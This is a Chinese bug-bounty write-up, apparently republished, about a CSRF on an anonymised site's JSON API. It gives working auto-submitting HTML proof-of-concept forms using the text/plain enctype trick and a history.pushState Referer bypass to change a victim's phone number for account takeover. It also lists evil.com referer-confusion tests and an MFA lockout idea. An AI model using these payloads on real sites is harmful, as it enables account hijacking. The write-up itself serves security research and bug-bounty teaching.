由于这是一个私有项目,我将使用 example.com 来代替。
很长一段时间以来,我一直想在漏洞赏金项目中找到一个账户接管(ATO)漏洞。于是,我开始探索项目范围内的 account.example.com。
我做的第一件事就是注册一个新账号并登录到主应用程序。接着,我像往常一样,开始点击能找到的每个按钮,同时使用 Burp Suite 记录所有的流量。
请求分析
在查看 HTTP 历史记录后,我们发现以下几点:
1.所有请求都调用了一个 .json 端点,例如 account.example.com/login.json。
2.请求以 JSON 格式发送。
3.任何请求中都没有 CSRF 头部。
在这一点上,我认为该应用程序不会受到 CSRF 攻击的影响,因为请求以 JSON 格式发送,而且由于同源策略[1],你无法设置 Content-Type 头部。因此,我开始寻找应用程序中的其他漏洞。三十分钟后,我决定尝试利用这个 CSRF 漏洞。
利用准备
我们能够利用这个漏洞的唯一方法是服务器没有检查 Content-Type 头部,并且强制其为 "application/json"。因此,让我们检查一下应用程序是否验证了这个头部...
我们将测试更改电话号码的功能,因为如果我们能够更改受害者的电话号码,就可以实现账户接管(ATO)。

电话号码更改成功了。最后一次检查,然后我们就可以行动了……
再检查一下……应用程序是否要求 JSON 请求体有特定的格式,还是我们可以添加一些无关的参数并让它继续正常工作?
我们可以通过添加一个随机参数和值来检查,比如 "a":"test"。

让我们开始吧,现在我们可以构建我们的攻击方案了。
攻击方案
我们来创建一个简单的概念验证(POC)。我们会将 enctype="text/plain" 设置为表单的编码类型,并将 JSON 请求体包含在隐藏的输入字段中。为什么我们在攻击中需要添加额外的参数?因为如果你尝试像这样发送请求...
<html> <head><meta name="referrer" content="unsafe-url"></head><body><script>history.pushState('', '', '/')</script><form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain"><input type="hidden"name= '{"_formName":"change-phone","phone":"01111111118"}'></form><script>document.forms[0].submit();</script></body></html>
这将生成如下的 JSON 请求体:

这是因为提交表单时,每个输入都需要有一个 name=value 格式的键值对,而我们想要发送的 JSON 并不符合这种格式。为了解决这个问题,我们可以将 name 属性设置为我们希望发送的 JSON 体内容,并添加一个随机参数来处理后续的 = 符号作为它的值,最后将 value 属性设置为 },以确保请求体的结构符合预期。这样可以生成符合要求的请求体,从而绕过 CSRF 保护机制。
<input type="hidden" name= '{"phone":"01111111118","a":"' value='"}'>这样做之后,我们将得到正确格式化的 JSON 请求体。:

img
到目前为止,我们的漏洞利用步骤如下:
<html> <head><meta name="referrer" content="unsafe-url"></head><body><script>history.pushState('', '', '/')</script><form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain"><input type="hidden"name= '{"phone":"01111111118","a":"' value='"}'></form><script>document.forms[0].submit();</script></body></html>
由于整个应用程序的工作方式都相同,这使得它变得容易受到 CSRF 攻击!
现在是时候领取我们的赏金了。
不过,在此之前,何不先尝试一下?

img
进一步调查
那么,发生了什么?我们的请求体看起来很好,所有的事情都正常。那为什么它没有成功呢?
让我们比较一下我们的两个请求,一个是通过我们的利用发送的,另一个是通过 Burp Suite 的 Repeater 发送的。
由于它们的主体是相同的,这对我们来说不是问题。Cookie 也成功发送,所以这与 SameSite 标志无关。让我们逐一检查我们的请求头:
•Origin?没有问题。
•Content-Type?没有问题。
•Referrer?是的……
它需要有应用程序域才能正常工作。幸运的是,它是 Referrer 头,所以我们仍然有希望。
如果我们能操纵它,使其接受我们自己的服务器,我们就可以在上面托管利用代码,使用 JavaScript 中的 history.pushState 函数设置头信息,仍然可以利用这个漏洞。
所以我们需要的是域混淆——让服务器认为它是自己的域,但实际上并不是。
我们的测试:
•evilaccount.example.com → 失败
•evil.com/account.example.com → 失败
•account.exampleevil.com → 失败
•account.exampleevil.com → 失败
•account.example.com@evil.com[2] → 失败
•evil.com#account.example.com → 失败
应用程序没有验证头中域的出现,但如果我们尝试像 test@example.com 这样的格式,它会成功,而这在正常范围内。

所以该域名是有效的。但是,如果它只检查 @ 符号后面的内容呢?我们可以尝试这样的格式: https://evil.com/test@example.com
让我们在我们的 Repeater 中试一下。

我们最终的EXP如下:
<html> <head><meta name="referrer" content="unsafe-url"></head><body><script>history.pushState('', '', '/')</script><form name="hacker" method="POST" action="https://account.example.com/phone.json" enctype="text/plain"><input type="hidden"name= '{"phone":"01111111118","a":"' value='"}'></form><script>history.pushState("", "", "/anything@account.example.com")document.forms[0].submit();</script></body></html>
由于这是整个应用程序的缓解机制,现在整个应用程序都容易受到 CSRF 攻击!
我们能够做到:
•更改帐户手机号码 → 帐户接管(ATO)
•更改帐户用户名
•更改真实姓名
•将帐户连接/断开与平台的连接
•创建/删除/编辑具有完全权限的 API 密钥
•另外两个功能
一个有趣的方面是,通过使用身份验证器应用程序激活 MFA,我们只需发送一个包含攻击者 MFA 密钥 和 一次性密码(OTP) 的请求。这将使受害者的帐户启用 MFA,从而使他们无法再次登录。
结论与经验教训
通过这个方法,我们成功利用域名混淆绕过了 CSRF。我的收获是,由于错误地假设使用 application/json 内容类型的应用程序不会受到 CSRF 的影响,我差点错过了这个漏洞。我们需要尝试所有可能的方法,绝不要仅仅相信开发者的假设。
“更改手机号码”的报告被标记为关键(9.0–10.0),因为它会导致帐户接管(ATO)。
漏洞赏金:4000 $

无 偿 获 取 网 安 资 料:
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关
